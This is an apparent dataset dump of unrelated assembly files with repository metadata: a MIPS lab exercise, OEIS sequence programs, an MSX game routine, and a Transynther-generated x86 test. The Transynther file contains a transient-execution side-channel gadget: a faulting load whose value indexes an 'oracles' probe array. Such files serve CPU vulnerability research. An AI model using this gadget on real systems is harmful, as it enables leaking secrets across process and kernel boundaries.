00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
34.333333
2,999
0.657001
7a352036011595586b105a558adf1e8f44b021cc
1,062
asm
Assembly
Lab2 (MIPS)/Version 2.asm
taylanu/CMPEN331
2ba05a516a6a43c8693b4e30a4852408362a5edd
[ "MIT" ]
null
null
null
Lab2 (MIPS)/Version 2.asm
taylanu/CMPEN331
2ba05a516a6a43c8693b4e30a4852408362a5edd
[ "MIT" ]
null
null
null
Lab2 (MIPS)/Version 2.asm
taylanu/CMPEN331
2ba05a516a6a43c8693b4e30a4852408362a5edd
[ "MIT" ]
null
null
null
# Version 2, do nothing, then Exit # switch to the Text segment .text .globl main main: #rest of the main program will go here #call function Exit0 jal Exit0 #end program, default return status #------------------------------------------------------------------ # Wrapper functions around some of the system calls # See P&H COD, Fig. A.9.1, for the complete list. # switch to the text segment .text .globl Print_integer Print_integer: #print integer in register $a0 li $v0,1 syscall jr $ra .globl Print_String # essentially a variable to tell what can reference the Print String Print_String: li $v0,4 syscall jr $ra .globl Exit Exit: #end program here, no explicit return status li $v0, 10 syscall jr $ra #instruction never executed .globl Exit0 Exit0: #ends the program, default return status li $a0, 0 #return status 0 li $v0, 17 syscall jr $ra #instruction never executes .globl Exit2 Exit2: #end the program with return status from register $a0 li $v0, 17 syscall jr $ra #this instruction is never executed.
20.423077
89
0.679849
19e30121d92ff5e95900e3d0017649acb5b2e1cb
443
asm
Assembly
oeis/022/A022777.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/022/A022777.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/022/A022777.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A022777: Place where n-th 1 occurs in A007337. ; Submitted by Jon Maiga ; 1,3,7,13,20,29,40,53,67,83,101,121,142,165,190,216,244,274,306,339,374,411,450,490,532,576,622,669,718,769,821,875,931,989,1048,1109,1172,1237,1303,1371,1441,1513,1586,1661,1738,1816,1896,1978,2062 mov $2,$0 add $2,1 mov $4,$0 lpb $2 mov $0,$4 sub $2,1 sub $0,$2 mul $0,4 seq $0,308358 ; Beatty sequence for sqrt(3)/4. add $0,1 add $3,$0 lpe mov $0,$3
24.611111
199
0.663657
b2d88f0ae3ebc849dcf39e7af6ae390cbed604c4
402
asm
Assembly
programs/oeis/338/A338996.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/338/A338996.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/338/A338996.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A338996: Numbers of squares and rectangles of all sizes in 3*n*(n+1)/2-ominoes in form of three-quarters of Aztec diamonds. ; 0,5,27,85,205,420,770,1302,2070,3135,4565,6435,8827,11830,15540,20060,25500,31977,39615,48545,58905,70840,84502,100050,117650,137475,159705,184527,212135,242730,276520 lpb $0 mov $2,$0 sub $0,1 seq $2,245301 ; a(n) = n*(7*n^2 + 15*n + 8)/6. add $1,$2 lpe mov $0,$1
36.545455
169
0.699005
d5d556dc9ed2ca5236d97e0f6764f89fdc1c85dd
2,985
asm
Assembly
src/gamestates.asm
santiontanon/talesofpopolon-ext
a7c7fd1164d506d6b0c6245fdf3ad0b634facd84
[ "Apache-2.0" ]
4
2019-10-20T08:14:01.000Z
2021-09-24T19:41:47.000Z
src/gamestates.asm
santiontanon/talesofpopolon-ext
a7c7fd1164d506d6b0c6245fdf3ad0b634facd84
[ "Apache-2.0" ]
1
2019-10-20T12:21:06.000Z
2019-10-21T21:52:35.000Z
src/gamestates.asm
santiontanon/talesofpopolon-ext
a7c7fd1164d506d6b0c6245fdf3ad0b634facd84
[ "Apache-2.0" ]
null
null
null
;----------------------------------------------- ; Determines which game loop to change to, given the current game state change_game_state: ld (game_state),a or a ; cp GAME_STATE_SPLASH jp z,SplashScreen_Loop dec a ; cp GAME_STATE_TITLE jp z,TitleScreen_Loop dec a ; cp GAME_STATE_STORY jp z,GameStory_Loop dec a ; cp GAME_STATE_PLAYING jp z,Game_Loop dec a ; cp GAME_STATE_GAME_OVER jr z,GameOver_Loop dec a ; cp GAME_STATE_ENTER_MAP jp z,EnterMap_Loop ; cp GAME_STATE_ENDING jp Ending_Loop GameOver_Loop: call StopPlayingMusic ld a,8 ld hl,ToPGameOverSongPletter call PlayCompressedSong ld a,200 ld (knight_sprite_attributes+8),a ; place the sword sprites somewhere outside of the screen ld (knight_sprite_attributes+12),a ; place the sword sprites somewhere outside of the screen GameOver_Loop_loop1: call Game_Update_Cycle_playerdead call GameOver_updateknightSprites ld a,(game_over_cycle) inc a ld (game_over_cycle),a cp 16 jr z,GameOver_Loop_loop1_done ; slow down the game: halt halt halt halt halt jr GameOver_Loop_loop1 GameOver_updateknightSprites: ; make the knight sprite sink over time: ; copy (16-a) bytes (bc) from knight_sprites (hl) to SPRTBL2+KNIGHT_SPRITE*32+a (de) ld a,(game_over_cycle) push af ld de,SPRTBL2+KNIGHT_SPRITE*32 ADD_DE_A ld hl,knight_sprites+32 ld a,(game_over_cycle) neg add a,16 ld c,a ld b,0 ;; bc = 16 - a push bc call LDIRVM pop bc pop af ; ld a,(game_over_cycle) push af ld de,SPRTBL2+KNIGHT_OUTLINE_SPRITE*32 ADD_DE_A ld hl,knight_sprites_outline+32 push bc call LDIRVM pop bc pop af ; ld a,(game_over_cycle) push af ld de,SPRTBL2+KNIGHT_SPRITE*32+16 ADD_DE_A ld hl,knight_sprites+32+16 push bc call LDIRVM pop bc pop af ; ld a,(game_over_cycle) ld de,SPRTBL2+KNIGHT_OUTLINE_SPRITE*32+16 ADD_DE_A ld hl,knight_sprites_outline+32+16 jp LDIRVM GameOver_Loop_loop1_done: call clearScreenLeftToRight call selectVDPBuffer1InMSX2_ifWeAreOnMSX2 call decodePatternsToAllBanks ; print game over string: ld hl,UI_message_game_over ld de,NAMTBL2+256+12 ld bc,9 call LDIRVM GameOver_Loop_loop2: halt call checkTrigger1 jr z,GameOver_Loop_loop2 GameOver_goto_splash_screen: xor a ; ld a,GAME_STATE_SPLASH jp change_game_state EnterMap_Loop: call clearAllTheSprites call raycast_reset_clear_buffer call raycast_render_buffer ld a,(player_x) ld (player_precision_x+1),a ld a,(player_y) ld (player_precision_y+1),a xor a ld (player_precision_x),a ld (player_precision_y),a call Game_updateRaycastVariables call raycastCompleteRender ld a,GAME_STATE_PLAYING ld (game_state),a jp Game_Loop_loop
21.630435
99
0.682412
1571435e2ae3c2f3e27c9c0c132c82ce1836dabc
6,186
asm
Assembly
Transynther/x86/_processed/NONE/_xt_sm_/i3-7100_9_0xca_notsx.log_21829_143.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_xt_sm_/i3-7100_9_0xca_notsx.log_21829_143.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_xt_sm_/i3-7100_9_0xca_notsx.log_21829_143.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r11 push %r13 push %r9 push %rbp push %rbx push %rcx push %rdi push %rdx push %rsi lea addresses_A_ht+0x3e68, %r10 nop nop nop cmp %r9, %r9 movups (%r10), %xmm6 vpextrq $1, %xmm6, %rbp nop add $17085, %rbx lea addresses_A_ht+0x11da8, %r11 nop nop nop nop and $10647, %rdx mov (%r11), %r13d nop xor $61742, %r13 lea addresses_WT_ht+0x173d6, %rsi lea addresses_WT_ht+0xee68, %rdi and $64625, %rbp mov $78, %rcx rep movsw nop cmp $12500, %r13 pop %rsi pop %rdx pop %rdi pop %rcx pop %rbx pop %rbp pop %r9 pop %r13 pop %r11 pop %r10 ret .global s_faulty_load s_faulty_load: push %r10 push %r11 push %r12 push %rbx push %rcx push %rdi push %rdx // Store lea addresses_A+0xadd8, %r10 nop nop nop cmp %rbx, %rbx mov $0x5152535455565758, %rdx movq %rdx, %xmm0 movups %xmm0, (%r10) nop nop sub $5738, %rdi // Store lea addresses_A+0xf5a8, %r12 nop nop xor $36755, %rcx mov $0x5152535455565758, %r11 movq %r11, %xmm1 vmovups %ymm1, (%r12) nop and %rdi, %rdi // Store lea addresses_RW+0x14848, %r12 nop nop xor %rbx, %rbx mov $0x5152535455565758, %rcx movq %rcx, %xmm5 vmovups %ymm5, (%r12) nop nop sub %r11, %r11 // Store lea addresses_WC+0x1ef3, %r10 nop nop cmp %rdx, %rdx movw $0x5152, (%r10) and %rdi, %rdi // Store lea addresses_WT+0x9baa, %rdx nop add %rdi, %rdi movl $0x51525354, (%rdx) nop nop nop nop nop sub %r11, %r11 // Load lea addresses_D+0x15468, %rcx nop nop nop nop sub %rbx, %rbx movb (%rcx), %r10b nop nop nop nop cmp %r12, %r12 // Faulty Load lea addresses_A+0xf5a8, %rcx nop nop and $4266, %rdi movb (%rcx), %r11b lea oracles, %r12 and $0xff, %r11 shlq $12, %r11 mov (%r12,%r11,1), %r11 pop %rdx pop %rdi pop %rcx pop %rbx pop %r12 pop %r11 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_A', 'size': 32, 'AVXalign': False}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 4, 'NT': False, 'type': 'addresses_A', 'size': 16, 'AVXalign': False}} {'OP': 'STOR', 'dst': {'same': True, 'congruent': 0, 'NT': False, 'type': 'addresses_A', 'size': 32, 'AVXalign': False}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 5, 'NT': False, 'type': 'addresses_RW', 'size': 32, 'AVXalign': False}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_WC', 'size': 2, 'AVXalign': True}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 1, 'NT': False, 'type': 'addresses_WT', 'size': 4, 'AVXalign': False}} {'src': {'same': False, 'congruent': 6, 'NT': True, 'type': 'addresses_D', 'size': 1, 'AVXalign': False}, 'OP': 'LOAD'} [Faulty Load] {'src': {'same': True, 'congruent': 0, 'NT': False, 'type': 'addresses_A', 'size': 1, 'AVXalign': False}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'same': False, 'congruent': 4, 'NT': False, 'type': 'addresses_A_ht', 'size': 16, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'same': False, 'congruent': 11, 'NT': False, 'type': 'addresses_A_ht', 'size': 4, 'AVXalign': True}, 'OP': 'LOAD'} {'src': {'type': 'addresses_WT_ht', 'congruent': 1, 'same': True}, 'OP': 'REPM', 'dst': {'type': 'addresses_WT_ht', 'congruent': 1, 'same': False}} {'58': 21829} 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 */
36.821429
2,999
0.653088
4dae7fed3189a8b0a4b0dc78d26a1e1843849007
215
asm
Assembly
Lab2/Preliminary_Work/preLIMQuestion3.asm
zeynepCankara/Computer_Organization_Labs
30f5a72996af89e13c027da0957194a35fca9f4f
[ "MIT" ]
3
2020-02-29T10:15:36.000Z
2021-12-22T23:43:50.000Z
Lab2/Preliminary_Work/preLIMQuestion3.asm
zeynepCankara/Computer_Organization_Labs
30f5a72996af89e13c027da0957194a35fca9f4f
[ "MIT" ]
null
null
null
Lab2/Preliminary_Work/preLIMQuestion3.asm
zeynepCankara/Computer_Organization_Labs
30f5a72996af89e13c027da0957194a35fca9f4f
[ "MIT" ]
7
2020-05-12T07:49:19.000Z
2022-01-17T14:24:01.000Z
.text again: addi $t0, $0,2 addi $t1, $0, 3 addi $t2, $0, 0 addi $t3, $0, 0 beq $t0, $t1, next bne $t2, $t3, again add $t0, $0, $t0 add $t0, $0, $t0 jr $ra next: j again
15.357143
24
0.437209
90f04a1df4d5131cebcf54e01d3d3e5f22d53f09
988
asm
Assembly
programs/oeis/240/A240828.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/240/A240828.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
programs/oeis/240/A240828.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
; A240828: a(1)=a(2)=0, a(3)=2; thereafter a(n) = Sum( a(n-i-s-a(n-i-1)), i=0..k-1 ), where s=0, k=3. ; 0,0,2,2,4,2,6,4,8,4,10,6,12,6,14,8,16,8,18,10,20,10,22,12,24,12,26,14,28,14,30,16,32,16,34,18,36,18,38,20,40,20,42,22,44,22,46,24,48,24,50,26,52,26,54,28,56,28,58,30,60,30,62,32,64,32,66,34,68,34,70,36,72,36,74,38,76,38,78,40,80,40,82,42,84,42,86,44,88,44,90,46,92,46,94,48,96,48,98,50,100,50,102,52,104,52,106,54,108,54,110,56,112,56,114,58,116,58,118,60,120,60,122,62,124,62,126,64,128,64,130,66,132,66,134,68,136,68,138,70,140,70,142,72,144,72,146,74,148,74,150,76,152,76,154,78,156,78,158,80,160,80,162,82,164,82,166,84,168,84,170,86,172,86,174,88,176,88,178,90,180,90,182,92,184,92,186,94,188,94,190,96,192,96,194,98,196,98,198,100,200,100,202,102,204,102,206,104,208,104,210,106,212,106,214,108,216,108,218,110,220,110,222,112,224,112,226,114,228,114,230,116,232,116,234,118,236,118,238,120,240,120,242,122,244,122,246,124,248,124 mov $1,$0 add $1,1 dif $1,2 div $1,2 mul $1,2
109.777778
838
0.671053